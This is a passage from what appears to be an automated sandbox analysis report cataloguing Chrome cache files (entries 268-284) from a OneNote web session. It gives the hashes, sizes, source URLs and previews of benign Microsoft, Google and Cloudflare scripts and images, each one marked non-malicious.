Preview:	var OnenoteRibbonStrings={About:"About",AboutKeytip:"D",Accessibility:"Accessibility",AddInsKeytipPrefix:"Y",AdditionalControls:"Additional Controls",AlignLeft:"Align Left",AlignLeftKeytip:"AL",AlignRight:"Align Right",AlignRightKeytip:"AR",AltText:"Alt Text",AltTextKeytip:"E",AltTextTableStandalone:"Edit Table Alt Text",AudioTabTitle:"Record & Playback",AutoCorrectOptions:"AutoCorrect Options...",AutoCorrectOptionsKeytip:"AC",Automatic:"Automatic",AutomaticKeytip:"A",Back15Seconds:"Back 15 Seconds",Back15SecondsKeytip:"B",Bold:"Bold",BoldKeytip:"1",BrowseVersions:"Page Versions",BrowseVersionsKeytip:"V",BulletLibraryTitle:"Bullet Library",BulletStyle1:"Solid",BulletStyle1Keytip:"S",BulletStyle2:"Hollow",BulletStyle2Keytip:"H",BulletStyle3:"Square",BulletStyle3Keytip:"B",ButtonOfficeAddins:"Office Add-ins",CentimeterUnitPlaceholder:"{0} cm",Checklist:"Checklist",ChecklistKeytip:"CL",BulletedList:"Bulleted list",BulletedListKeytip:"BL",NumberedList:"Numbered list",NumberedListKeytip:"NL

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 87 x 66, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.035372245524405
Encrypted:	false
SSDEEP:	3:yionv//thPlerHxl/k4E08up:6v/lhPC7Tp
MD5:	EE057FA41AD20EE84E9CE9E9DAB4505A
SHA1:	EAE59877E3A22BA924B208C5AFF07121745F0DD1
SHA-256:	87C9FAAB437174B05515485D7F6C12F14B0BD70EE360CD01C9E6D3F67549902C
SHA-512:	CFEA4CE0F1F831C5311FF0F6996C05A7FEA539C2507529D9018433A6B49606F46F3EB06BCE59B8C562A6F298288A64CB22E86480B6C2B5F18EB6C346F8A00B85
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8d80c7f0395d4869/1729844361925/ULcuuj9FzFMW5qZ
Preview:	.PNG........IHDR...W...B.............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65437)
Category:	dropped
Size (bytes):	642651
Entropy (8bit):	5.331965832262166
Encrypted:	false
SSDEEP:	12288:+CxME1PRsBSsUtbMS07NGb4EyuGVS3UqeuH:+dEXsBSsUGS07NGbt3UqeuH
MD5:	1F17361FB29A6080C472FE5C698043C9
SHA1:	871666BDC70C55EFAAD11AF36162CE91A65956EF
SHA-256:	CC4307363023A70100271E492118FCE784D287479B2AC86BDB3DBD1FB2BAAF9F
SHA-512:	730C7778E20545E08C5C65E2321FEFC6D93CB5C0F0A5F4254CF3B4E6ED29C1D125812EDBF5359AC418B8B4CC15DC6B2E92EC2243B265FE43A47A35AA0E582176
Malicious:	false
Preview:	/! For license information please see sharedauthclientmsal.39dcdf70a2434436117b.js.LICENSE.txt /.var Microsoft;!function(){var e,t,n,r,o,i,a={6839:function(e,t,n){"use strict";n.d(t,{nr:function(){return u}});var r,o=n(2440),i=n(9565),a="__stylesheet__",s="undefined"!=typeof navigator&&/rv:11.0/.test(navigator.userAgent),c={};try{c=window\|\|{}}catch(e){}var u=function(){function e(e,t){var n,r,i,a,s,c;this._rules=[],this._preservedRules=[],this._counter=0,this._keyToClassName={},this._onInsertRuleCallbacks=[],this._onResetCallbacks=[],this._classNameToArgs={},this._config=(0,o.Cl)({injectionMode:"undefined"==typeof document?0:1,defaultPrefix:"css",namespace:void 0,cspSettings:void 0},e),this._classNameToArgs=null!==(n=null==t?void 0:t.classNameToArgs)&&void 0!==n?n:this._classNameToArgs,this._counter=null!==(r=null==t?void 0:t.counter)&&void 0!==r?r:this._counter,this._keyToClassName=null!==(a=null!==(i=this._config.classNameCache)&&void 0!==i?i:null==t?void 0:t.keyToClassName)&&void

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3147
Entropy (8bit):	5.883845445403374
Encrypted:	false
SSDEEP:	96:AXw1FTwReiZ1ZhojOyB+kRJRLnhnxawWyt:AXw1xwRTT6OG+kxnnahE
MD5:	BF54C6C78528E16FC0AD57914E63FDC8
SHA1:	A60018B4279E838668A077B6B97D58A4499EA0B6
SHA-256:	2D39D1B2762CD85B10719B18FC182CB4C0AC02C701DB51252CEC9A530208537A
SHA-512:	FCAE6C3CF1D6313627B5091B9114F4571B1F1FF12FA55E9F48AF93B53A6B1ED32F7DA3DCBFFB6CD24014A41D9A88A59460472605ABCCFF2FD44EE1EA061F206B
Malicious:	false
Preview:	{"clientVersion":"20241023.3","files":{"owl.js":["owl.5713dd8afbcd714f28fb.js","sha384-w4e2GtnecI7J3LMVXJzsHNxebPy7aT5eorFnGxkjvCAt/pBRt1pbofeK0dzPIAQT"],"owl.slim.js":["owl.slim.b75c2de5eee34f898531.js","sha384-ednudu6TfjFwhkZuYthMr5PPzuHKFfsI5uXcZScO1mAAJix7QvFHYI5jX7b+/LVb"],"owlnest.js":["owlnest.3dbdabff73823ee499b6.js","sha384-cJfzZ5dQxnK32RfWUaF32UHBQWoX41lGjt285R0w1Sn2Wi7Gz9gx+oUTX/R7jiIV"],"authwebworker.js":["authwebworker.1e854ce4990e8cb68c1e.js","sha384-aLLZVqovQQU7Ox3t5eatei8rWrvm5jOvBXcI3CoOeUWGsujvHUYikecoSQJXsnpG"],"sharedauthclient.js":["sharedauthclient.d39162c303dd9c59a0b9.js","sha384-hvv59LW8MYRaPhiDsNda4L8FuuGinGTOzYhULujODsEQFbBHWKC5+Qt3otL+vxtU"],"sharedauthclientinteractive.js":["sharedauthclientinteractive.84ad1713c0ea7a00165f.js","sha384-IGP7KkdMWrLtvWIOyhiHT4CpkQ0+GQ2oCY9ja2zWxsPbJyVuvBVlu8wMEEEUP32b"],"sharedauthclientmsal.js":["sharedauthclientmsal.39dcdf70a2434436117b.js","sha384-tpvjg53cnAY5Ku4H8RkNIKuRYPYkZqgGeq+TVwolQx0fjiV2k7JNAV2Lr8LrwDDo"],"sharedaut

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	28
Entropy (8bit):	4.137537511266052
Encrypted:	false
SSDEEP:	3:beiCkj7Y:behw7Y
MD5:	292452D9158CA5211CEB7B3FB1D71E28
SHA1:	DE9347FB1604A4AADB4230CA87B9D9CADC98629E
SHA-256:	D6700E797D44FC7A78934BB9FC6C435027F1D23587B097003E3A84BD1B4E3333
SHA-512:	96F78888DEE4435B67982562B1A6BF4FFB084654F30AD616A3B2BBFD31DFDE4BB811116FD1C7A3C0CF7A52394EC4B84E70B82681570912448F965EF4F776CA79
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwm6uBqXtyt2JxIFDdjY4LISBQ11LGDr?alt=proto
Preview:	ChIKBw3Y2OCyGgAKBw11LGDrGgA=

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30298)
Category:	dropped
Size (bytes):	105812
Entropy (8bit):	5.391818966916497
Encrypted:	false
SSDEEP:	1536:tnhDmh5cMFNj1rdW3b3hiiE0a8f7ylAbOgUVD:Jdmh5cMFN1ra3hZy8OQOD
MD5:	4EDE79987F52C99D7B570FE77436747E
SHA1:	B9C4251C30ADBAE5F6BD532F37109E82DA414E7C
SHA-256:	715D8C6EC761B3051A58AC9EE1AB704F7C3587F31159C289372A30AE5103F2F2
SHA-512:	582DA4533516084811FC7ED2C03F7E80226C6376C2C10E1334188D8C975B6A84647257E96CEC12CA5FBDCC487555969D39D9151486E54498BF11ACEED45420BF
Malicious:	false
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_otellogging_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["otellogging"],{69691:function(n,t,e){var r=e(92855),i=e(41230),o=e(54800),u=e(59177),a=e(68128),c=e(78939),s=e(85788),f=e(69988),l=e(25855),d=function(n){function t(){var e=n.call(this)\|\|this;return e.pluginVersionStringArr=[],(0,i.A)(t,e,(function(n,t){n.logger&&n.logger.queue\|\|(n.logger=new o.wq({loggingLevelConsole:1})),n.initialize=function(e,r,i,s){(0,u.r2)(n,(function(){return"AppInsightsCore.initialize"}),(function(){var u=n.pluginVersionStringArr;if(e){e.endpointUrl\|\|(e.endpointUrl=f.S);var l=e.propertyStorageOverride;!l\|\|l.getProperty&&l.setProperty\|\|(0,a.$8)("Invalid property storage override passed."),e.channels&&(0,a.Iu)(e.channels,(function(n){n&&(0,a.Iu)(n,

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (616)
Category:	downloaded
Size (bytes):	2395280
Entropy (8bit):	5.621813735147151
Encrypted:	false
SSDEEP:	49152:nrQmdFrRkL1r7sFBTrlj2yV9YwWoTNUYsT91AZNcS90KLuQ7zwxugpZvucfcm9A1:lX
MD5:	00A1160C879D7DC00D9A8693B6899A2F
SHA1:	6B8E243B8B5B44EFDA496BBE178DC8153B4F982E
SHA-256:	0FB5855C124A1DC24D40900CF3C8A1F2091088394A28612BC9C3E2DCC06E1D3B
SHA-512:	7D886D9571C6A5AD5952A412ECE39767BE1AE94260456BF12DBEEB4925A4255328FFCEDD991B3AE1E3F4A47E06C3114E844FF38C3890CFAF05576ED70CC6ADFE
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/hF2D4A670C00B7D9D_App_Scripts/OneNoteDS.box4.dll2.js
Preview:	'use strict';(globalThis.dullscriptWebpackJsonp=globalThis.dullscriptWebpackJsonp\|\|[]).push([[2],{51490:function(ya,Sa,H){function Ba(ea){var da={costPriority:1,samplingPolicy:1,persistencePriority:1,dataCategories:0,diagnosticLevel:100};ea.eventFlags&&ea.eventFlags.dataCategories\|\|(0,O.b)(0,0,function(){return"DataCategories"});if(!ea.eventFlags)return da;ea.eventFlags.costPriority&&(da.costPriority=ea.eventFlags.costPriority);ea.eventFlags.samplingPolicy&&(da.samplingPolicy=ea.eventFlags.samplingPolicy);.ea.eventFlags.persistencePriority&&(da.persistencePriority=ea.eventFlags.persistencePriority);ea.eventFlags.dataCategories&&(da.dataCategories=ea.eventFlags.dataCategories);ea.eventFlags.diagnosticLevel&&(da.diagnosticLevel=ea.eventFlags.diagnosticLevel);return da}function Fa(ea,da,ba,ua,la,ha,ia,Y,fa,ma,ta){ua.forEach(function(S){ea.sendTelemetryEvent({eventName:da.name+".Qos.Error."+ba,eventFlags:{diagnosticLevel:110},dataFields:(0,Q.wQc)((0,Q.wQc)([],t.g.By({ieg:S,FOf:la,isIntenti

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (41569), with no line terminators
Category:	downloaded
Size (bytes):	41569
Entropy (8bit):	5.349246096567034
Encrypted:	false
SSDEEP:	384:wwstGDociKcWpWS8neDvci6hR5fZ2tF3t97D0QeIHcTzeC:wBlneDvci6hR5fZyt97QLIUz
MD5:	345BFF8D2E34511694D9D12A008F5F5D
SHA1:	B3F35302052C26C285C43B935BCE972904E62E28
SHA-256:	DD4039F8AFAC6FD76B462C4FD4F90374B18DB762719108491AC2E365196D71AC
SHA-512:	5B6A9EB510BFBD7198D00BA674FEB6D04B6E95A7E359A0C9B1C17086FACA1859AE4FE126985812C0AB1E87FEA963FA9B169C3A21A7DA534EC79B972D0935A692
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wacairspaceanimationlibrary.js
Preview:	function WacCurve(n,t,i,r,u,f){this.ID=n;this.type=t;this.x1=i;this.y1=r;this.x2=u;this.y2=f}function WacIntWrapper(n,t){this.value=n;this.contextId=t}function WacKeyFrame(n,t,i,r,u,f,e,o){this.type=n;this.curveID=t;this.startTime=i==null\|\|i.value==undefined?new WacIntWrapper(i,null):i;this.endTime=r==null\|\|r.value==undefined?new WacIntWrapper(r,null):r;this.startValue=u==null\|\|u.value==undefined?new WacIntWrapper(u,null):u;this.endValue=f==null\|\|f.value==undefined?new WacIntWrapper(f,null):f;this.relativeTo=e;this.operationType=o}function WacAnimation_ContextVariableManager(){}function WacAnim(n,t){this.ID=n;this.keyFrames=t}function WacAnimationuser(){this.AnimationQueue=new Array(0);this.sharedTimer=null;this.sharedCancelTimer=null;this.resetInterval=5e3;this.sharedTimerRefs=0;this.conflictTable=new Array(0);this.currentAnimationIndex=-1;this.temporaryIDGenerator=0}function WacAnimation_State(){this.Index=0;this.Data=new Array(0);this.AnimateRight=!1}function WacAnimation_Object(n

Chrome Cache Entry: 275

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47671)
Category:	downloaded
Size (bytes):	47672
Entropy (8bit):	5.4016434300784555
Encrypted:	false
SSDEEP:	768:OeCtueCACDHsEW8tZunqu5TTfjdTdWm54gEnih4A2WibLXKUen+V1Kgbdfi0Vdua:OvXmHFW8tZuquNP54VnKJ3Uesnpj
MD5:	EC4B20037C896C5F60640105C6EA36B1
SHA1:	A9A74169679305B6EF1B76470F5CB746D9420213
SHA-256:	FBACCE424D00878284DB8C04089F007944324D9CD2432DB2472E4CF62A39DBBF
SHA-512:	1AD0209E6BEFE4444E62BFD01EA8FC5302674A047313908E963AFB787D83E572DB6AEF7EFEBB6D294A0310DECD51E54C17ACE28E7CDF651BB588AE4A17030102
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/e1a56f38220d/api.js
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,l,g){try{var h=e[l](g),u=h.value}catch(f){n(f);return}h.done?r(u):Promise.resolve(u).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function g(u){Ht(l,o,c,g,h,"next",u)}function h(u){Ht(l,o,c,g,h,"throw",u)}g(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 276

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65526), with no line terminators
Category:	downloaded
Size (bytes):	267969
Entropy (8bit):	5.853913548046937
Encrypted:	false
SSDEEP:	3072:THuMo7Wfk6v2UefJRApOPaXD9NSt1lWfogo3FDgvak3a:THuMoCfkrxkMt1+3a
MD5:	A07BBD93F7642473051CB1CF69C08472
SHA1:	E52DD5ECC98629978B277B7A41326AD1B6BCD75F
SHA-256:	1C6285973A69887718A02AC335C5119F5B591F41F262C99A59C680D7F5D17700
SHA-512:	B740B0C9BDB351F68D4506912E262BCB6B8309F217F20BE5101F2A4D9463EEF29B1E8B2550F1DDD5AF46E91F90BA824A327E39712CD97FECCDAC916A9B9D449E
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/oreonavpane.min.js
Preview:	function _define_property(e,n,t){return n in e?Object.defineProperty(e,n,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[n]=t,e}function _object_spread(e){for(var n=1;n<arguments.length;n++){var t=null!=arguments[n]?arguments[n]:{},i=Object.keys(t);"function"==typeof Object.getOwnPropertySymbols&&(i=i.concat(Object.getOwnPropertySymbols(t).filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable})))),i.forEach((function(n){_define_property(e,n,t[n])}))}return e}function ownKeys(e,n){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);n&&(i=i.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,i)}return t}function _object_spread_props(e,n){return n=null!=n?n:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):ownKeys(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))})),e}(globalThis.onenote

Chrome Cache Entry: 277

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1115
Entropy (8bit):	7.474905425501729
Encrypted:	false
SSDEEP:	24:OQkGe2gKOcQO9S80Axzhkzc7iFTZkqeNblj5ILlN0EFgFahPKN7FqP8:OQkRrTCbxzwSiZLCN52TFgM5KN7Fp
MD5:	084E7612635DFCF69A16255B41E70CAA
SHA1:	0D9721AA70B01487D3340B864C0BD49FB1D95206
SHA-256:	7B389747818635BCA6FE76F5E3226EDA36AF53D8F27526796BC975EBD440A395
SHA-512:	A0104DBB40429BCA5F54061CE6D36A695283D883CE1B732CA87A30743234D29BEBA07A0100DE0DE0B274A70C8C7C289574F6343DF16C3E4C7B6453F60E8737B9
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_resources/1033/agavedefaulticon96x96.png
Preview:	.PNG........IHDR...`...`......w8....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.k.A.....@ .6.* ..H...R....V....l.! X..Z..Z..... X... .. .{.^fw...{.fv..70.~..\|........ .. .. .. .. .. .. .. .. .. .. ..3.8.1q....(.&.....B.o.."w..Y.....]......~0N0....]..z....\|.n........_..O...9..8@..K./..%..[..LQ.rm:.H.>...-..;,...9.G.n....`.{..-.F...'.?...y..]H..o{y..#.....]..x\|...K.(x\|p~.....r..R..~\.2.Y...f.Q..i...o...r.........Gc..Bp.Ol..\(...~.T...,....j.O.(e......j(e. ...Z....Rf......j(e. ...Z....Rf......j(e.....D.,Y.....~..n.[.........PA....]....0.mK...sE.........J~}z[.!n...RV\|.#.......7s.......)B.e;j2.........tX..k.....o.V....j.k3A........9..?R....Z....5t..j....f.Z.....E.L....J..7.}Uk.......H..i.Z...1...x$....]<I.......#ixw..h.h.h.a.4....9.&.v.....2i..D..l...'.-.+.._...eLZ...M..x..1%.g....'A..X.....jkK.^W.}.m...T....\|...._.^.[..~u'...mco.8...nT....d.m.I.b..M.4...s.U.;Yu...k.1\|..93a..(M..2..U......B..S..O...........c.......?)....iz.D...T.D!....R

Chrome Cache Entry: 278

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (35936), with CRLF line terminators
Category:	downloaded
Size (bytes):	65468
Entropy (8bit):	5.346696281904265
Encrypted:	false
SSDEEP:	768:ETarIzLYTfoY5iwkD9Hr09qZsOlcJoPBPCvmW7YeOeYRtbRcOMJGXX3FouZoGfx0:EOczSghxezYrlcaPsP
MD5:	1997228D20EACA8AA1C9D666E58CBCDB
SHA1:	B7FAD772EDC427D672F2911D5FCC4AF5151606BF
SHA-256:	B873715A8705C515974A714B92EF7AD138EA308D972E407DEFD77F2078DB2BA5
SHA-512:	B43B8A01294D0540F59408BFF29B62E4EFEC041776AC45A21E58369847695A8447FA896ED772EAD07CB5D4E43DA64E79254F57F94C6AFB5274A6123CE6772528
Malicious:	false
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/office.js
Preview:	var OSFPerformance;..(function (OSFPerformance) {.. OSFPerformance.officeExecuteStartDate = 0;.. OSFPerformance.officeExecuteStart = 0;.. OSFPerformance.officeExecuteEnd = 0;.. OSFPerformance.hostInitializationStart = 0;.. OSFPerformance.hostInitializationEnd = 0;.. OSFPerformance.totalJSHeapSize = 0;.. OSFPerformance.usedJSHeapSize = 0;.. OSFPerformance.jsHeapSizeLimit = 0;.. OSFPerformance.getAppContextStart = 0;.. OSFPerformance.getAppContextEnd = 0;.. OSFPerformance.createOMEnd = 0;.. OSFPerformance.officeOnReady = 0;.. OSFPerformance.hostSpecificFileName = "";.. function now() {.. if (performance && performance.now) {.. return performance.now();.. }.. else {.. return 0;.. }.. }.. OSFPerformance.now = now;.. function getTotalJSHeapSize() {.. if (typeof (performance) !== 'undefined' && performance.memory) {.. return performance.memory.totalJSHeapSize;.. }..

Chrome Cache Entry: 279

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30974
Entropy (8bit):	5.174752216233697
Encrypted:	false
SSDEEP:	192:vHilq+BLd2Dj+myOfreXXmKECPtDTAkZnVtx6xfmwm01m/9/W0GU64Bh1oHfVb0E:3+BgOP2kRXGbQr67VY/6TTjZZGEjlr
MD5:	0F8A71C4D33149AC821AF59DD8780877
SHA1:	488B35F4C14517658F80CF926824D1AD51E2E02E
SHA-256:	8FBA642792C3C2C30BD6B8A8394332CCBA65BA0676079BCB516C2A201CA583AF
SHA-512:	56F677306A9091E45C1EE0E5A8611183EF331BA08D34B104469E0AD8B670D0B9C1E647E800C82CE3CABEBFAAD2CC6AA9A58E13D4B7F5CE08A3D4A7429F6513CE
Malicious:	false
Preview:	{"Architecture":1,"Audience":0,"Resources":{"Version":"1.20241013.2.4","CatalogXml":"<ResourceCatalog>\r\n <Resources>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-5c31e9b04a99d393377f_node_modules_mecontrol_flue-3c738e\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-5c31e9b04a99d393377f_node_modules_mecontrol_flue-3c738e.8fc4c4406c1153d9a4ba.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-5c31e9b04a99d393377f_node_modules_mecontrol_flue-3c738e.8fc4c4406c1153d9a4ba.js</LTRPath>\r\n </Resource>\r\n <Resource Key=\"_store_mecontrol-fluent-web_3_28_4-preview_4-5c31e9b04a99d393377f_node_modules_mecontrol_flue-c6ba2c\" Type=\"LTRRTLPath\">\r\n <RTLPath>suiteux.shell._store_mecontrol-fluent-web_3_28_4-preview_4-5c31e9b04a99d393377f_node_modules_mecontrol_flue-c6ba2c.e4508a8a25ead64150e4.rtl.js</RTLPath>\r\n <LTRPath>suiteux.shell._store_mecontrol-fluent-we

Chrome Cache Entry: 280

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65340), with no line terminators
Category:	dropped
Size (bytes):	728648
Entropy (8bit):	5.4092815192781245
Encrypted:	false
SSDEEP:	6144:8pnRk3nYbjKNpq6/VKnUMImM7OnpJ4e/wy0JG0nMWNh9iEwuUipZlZKDePqexuCC:8JUYbjKNpq8VKnUVOnZP0Y0nnXGr/7wQ
MD5:	F7E1D4D211A0B61997EA97964BD14E5A
SHA1:	2145B0FD252CD3AB2225ED0AF171C179B8CD6099
SHA-256:	B8FDD85B0B87E9C2971C6DF817D1023D9E489A821F1F3B7293876B4CD0A82FF6
SHA-512:	1AF3E71D9B1CEA51B85038785410BBD3B9989EB2228A387BF1E252B15E8E5E4A502BDA7A953ACCAEE110A46F6C5E6F277163117B4E68755934FFC74D1EF4E23C
Malicious:	false
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 86 x 73, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.014960565232003
Encrypted:	false
SSDEEP:	3:yionv//thPlxiNR0kxl/k4E08up:6v/lhPuQk7Tp
MD5:	66F395DDE20DA7B6FBA5F1F2D62F9461
SHA1:	AA5C21902D0CF6D5E6B78959094B34931DA2CDC1
SHA-256:	B11A15B13B2E2764881D01331D65E1452369FBE967751495200A8D9669852EC2
SHA-512:	36671550546B7D950114725A26982E944698EDB1015EDD611455C31EA5FFB512AF5EC10D4F664D36BAFD271B6B227E0412972DF219584BE537B6B34D7E3F3948
Malicious:	false
Preview:	.PNG........IHDR...V...I.....(.F.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text
Category:	downloaded
Size (bytes):	2743
Entropy (8bit):	5.138744724685597
Encrypted:	false
SSDEEP:	48:c8Ax81yL73bao2Q6tSJ1/2VaObOxMq9F1zt82LFjnpAz12IezmU+J2QezcNVF:tAMy/Laox116q9F1ztFNnpAz1KzGD
MD5:	03FD32F2E28EBDE4EC38156C83EEEE10
SHA1:	518410F8BC555BC44E361CD50A4F20366896A36E
SHA-256:	3CB6C640746A34590CC7FAA34E0FF24804AA947927DCAB6E50CDE0902033E421
SHA-512:	ADD9342EAA18BDE5C66DA20C28A78B03A30E4DA311F56DFF3F3EF197727697E164E6CF82EDBBA9518D2CBDF706C7016857D9004B654D7F112A641B09BFDEF6A5
Malicious:	false
URL:	https://fa000000128.resources.office.net/033f92d3-bc6d-439a-858a-a17acf70360a/1.0.2410.12006/en-us_web/manifest_web.xml
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>.<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0" xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">. <Id>8ef9aa39-de6e-4fb7-841a-f0f08546d398</Id>. <Version>1.0.0.0</Version>. <ProviderName>Microsoft Office Services</ProviderName>. <DefaultLocale>en-US</DefaultLocale>. <DisplayName DefaultValue="Copilot"/>. <Description DefaultValue="Copilot"/>. <IconUrl DefaultValue=""/>. <HighResolutionIconUrl DefaultValue=""/>. <AppDomains>. <AppDomain>https://fa000000128.resources.office.net</AppDomain>. <AppDomain>https://res.cdn.office.net</AppDomain>. <AppDomain>https://res.sdf.cdn.office.net</AppDomain>. <AppDomain>https://res-h3.sdf.cdn.office.net</AppDomain>. <AppDomain>https://res-h3.public.cdn.office.net</AppDomain>.

Chrome Cache Entry: 283

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	downloaded
Size (bytes):	125478
Entropy (8bit):	5.3045293235159106
Encrypted:	false
SSDEEP:	1536:7R25HBziFSDZOw5uE2qg9cFCzF1TA0Qo4RNRdu9MgIEdb4u0xGlhlHpw:125HBww5dg9w0wRNRdulN7vw
MD5:	A79F48E6E75920EAC571FFBAEDAD667A
SHA1:	1058C1417B1C18C127EE477CF250A2BBD2D7C211
SHA-256:	C34867173151FBA54D6453846BE6B4028397018A76D7ECB70CF38A0AFDA072DF
SHA-512:	9ABEFFC4F43ED1588212F9DDC0ADD4B99A1BEB7D19195F7926376056E219C2788B2C554DAFDE92C54200236350DF213AD68890418EEAF5CE56101BFC4E9ED6AB
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/hC34867173151FBA5_App_Scripts/MicrosoftAjaxDS.js
Preview:	(function(){function getAugmentedNamespace(e){if(e.__esModule)return e;var t=e.default;if("function"==typeof t){var r=function e(){if(this instanceof e){var r=[null];return r.push.apply(r,arguments),new(Function.bind.apply(t,r))}return t.apply(this,arguments)};r.prototype=t.prototype}else r={};return Object.defineProperty(r,"__esModule",{value:!0}),Object.keys(e).forEach((function(t){var n=Object.getOwnPropertyDescriptor(e,t);Object.defineProperty(r,t,n.get?n:{enumerable:!0,get:function(){return e[t]}})})),r}var lib={},extendStatics=function(e,t){return extendStatics=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r])},extendStatics(e,t)};function __extends(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Class extends value "+String(t)+" is not a constructor or null");function r(){this.constructor=e}extendStatics(e,t),e.prototype=null===t?Object.create(t):(r.

Chrome Cache Entry: 284

Download File

